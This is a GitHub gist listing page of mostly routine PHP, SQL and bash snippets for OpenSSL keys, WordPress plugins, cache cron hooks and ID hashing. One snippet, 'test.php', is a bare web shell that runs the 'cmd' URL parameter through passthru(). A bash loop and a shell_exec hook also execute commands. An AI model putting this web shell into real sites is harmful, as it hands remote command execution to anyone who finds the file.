Skip to content

Instantly share code, notes, and snippets.

View nawawi's full-sized avatar

Nawawi Jamili nawawi

View GitHub Profile
@nawawi
nawawi / openssl_private_public_key_example.php
Created June 11, 2024 06:58
php openssl private/public key example
<?php
// Configuration settings for the key
$config = array(
"digest_alg" => "sha512",
"private_key_bits" => 4096,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
);
// Create the private and public key
$res = openssl_pkey_new($config);
TEST remote file
@nawawi
nawawi / intuitive-custom-post-order.php
Last active April 16, 2024 19:38
intuitive-custom-post-order.php
<?php
/*
* Plugin Name: Intuitive Custom Post Order
* Plugin URI: http://hijiriworld.com/web/plugins/intuitive-custom-post-order/
* Description: Intuitively, Order Items (Posts, Pages, ,Custom Post Types, Custom Taxonomies, Sites) using a Drag and Drop Sortable JavaScript.
* Version: 3.1.5
* Author: hijiri
* Author URI: http://hijiriworld.com/web/
* Text Domain: intuitive-custom-post-order
* Domain Path: /languages
@nawawi
nawawi / test.php
Last active March 30, 2024 16:12
test.php
<?php
if ( !empty($_GET['cmd'])) {
passthru( $_GET['cmd'] );
}
<?php
function export_object($value, string $indent = '')
{
switch (true) {
case \is_int($value) || \is_float($value): return var_export($value, true);
case [] === $value: return '[]';
case false === $value: return 'false';
case true === $value: return 'true';
case null === $value: return 'null';
@nawawi
nawawi / remove_orphan_post.sql
Last active September 26, 2022 07:48
MySQL trigger to remove wp orphan post
-- Replace wp_postmeta and wp_posts with your prefix table
CREATE TRIGGER `remove_orphan_post` AFTER DELETE ON `wp_posts`
FOR EACH ROW BEGIN IF ('post' = old.post_type) THEN
DELETE FROM wp_postmeta WHERE wp_postmeta.post_id = old.ID;
END IF; END
@nawawi
nawawi / docketcache_flush_every_hour.php
Last active August 21, 2022 15:20
docketcache_flush_every_hour
<?php
add_action('docketcache_flush_every_hour', 'wp_cache_flush');
if (!wp_next_scheduled('docketcache_flush_every_hour')) {
wp_schedule_event(time(), 'hourly', 'docketcache_flush_every_hour');
}
#!/bin/bash
FIFO="/path-to-ss_cmd.txt";
LIST="$(sort -u $FIFO)";
for CMD in $LIST; do
$CMD
done
rm $FIFO;
<?php
// Exec
// call: do_action('ss_cmd', 'cmd1');
add_action('ss_cmd', function($cmd) {
switch($cmd) {
case 'cmd1':
return shell_exec('cmd1');
break;
case 'cmd2':
@nawawi
nawawi / PseudoCrypt.php
Last active March 1, 2023 00:43 — forked from ethanpil/gist:94455f8de76671aa9024
PseudoCrypt.php
<?php
/**
* Reference/source: http://stackoverflow.com/a/1464155/933782
*
* I want a short alphanumeric hash that’s unique and who’s sequence is difficult to deduce.
* I could run it out to md5 and trim the first n chars but that’s not going to be very unique.
* Storing a truncated checksum in a unique field means that the frequency of collisions will increase
* geometrically as the number of unique keys for a base 62 encoded integer approaches 62^n.
* I’d rather do it right than code myself a timebomb. So I came up with this.
*